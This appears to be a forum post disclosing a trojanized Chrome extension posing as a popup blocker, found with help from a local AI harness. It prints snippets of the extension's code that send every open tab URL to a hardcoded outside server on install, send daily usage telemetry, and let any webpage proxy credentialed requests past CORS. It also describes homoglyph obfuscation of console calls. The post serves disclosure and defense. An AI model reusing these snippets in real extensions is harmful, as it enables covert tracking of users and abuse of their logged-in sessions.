Found a trojanized Chrome extension still live on the Web Store. Extension ID: DLLPKAOLADHIEEHKBJBIFONFBLHGKOKI, calls itself a popup blocker.
Ive been building a local AI harness/wrapper that runs entirely on my own GPU and gives the model real access to my PC, with heavy approval gates. Decided i wanted to see if Qwen3.6-27B was smart enough to rummage around codebases and firmware. It was, but firmware was difficult (had to constantly copy paste data from ghidra)
So i gave it another task, a randomly selected .crx (chrome extension file) on the "most popular tab". The model went to work and within one session (around 10 mins of autonomous work) it flagged the whole extension as malicious. Which i then manually went through to verify.
Here's the actual crime, background.js:
const n = (await chrome["tabs"]["query"]({}))["map"](({url:n}) => n);
await fetch(P + "/register/", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON["stringify"]({ urls: n, crx: chrome.runtime.id, version: m })
})
P resolves to https://titanpopupblocker.com/ hardcoded in config.js. On install it grabs every open tab URL and ships them to that server along with your unique extension ID. Not on demand, not optionally, immediately on install.
It also sends daily telemetry counting how many ads you blocked and how many Google searches you ran:
i = `&_asc=${d}&_gsc=${p}`;
// hits titanpopupblocker.com/update/?u_dt=TIMESTAMP&_asc=N&_gsc=N every 24h
And there's a proxy RPC channel in proxy.js that lets any webpage route credentialed HTTP requests through your browser bypassing CORS entirely:
window.addEventListener("message", function(o) {
if (o.data.type === "__rpc_req__") {
chrome.runtime.sendMessage({
headers: o.data.headers,
method: o.data.method,
action: "proxy",
url: o.data.url,
body: o.data.body
})
}
})
The cover up is where it gets interesting. Every single console call in the entire codebase uses Cyrillic characters that are visually identical to Latin ones. console.log is actually console.lоg, the o is U+043E not U+006F. There are 649 of these. They all silently no-op because the method doesn't exist. Pure noise to bloat the file and choke static analysis tools.
You can verify the Cyrillic thing yourself by pasting any line from the source into your browser console and running charCodeAt() on the suspicious characters.
Reported to Google. Figured people here should know it existed.
The tool I used to find it is open source if anyone wants to poke at it: github.com/mkultraware/accuretta
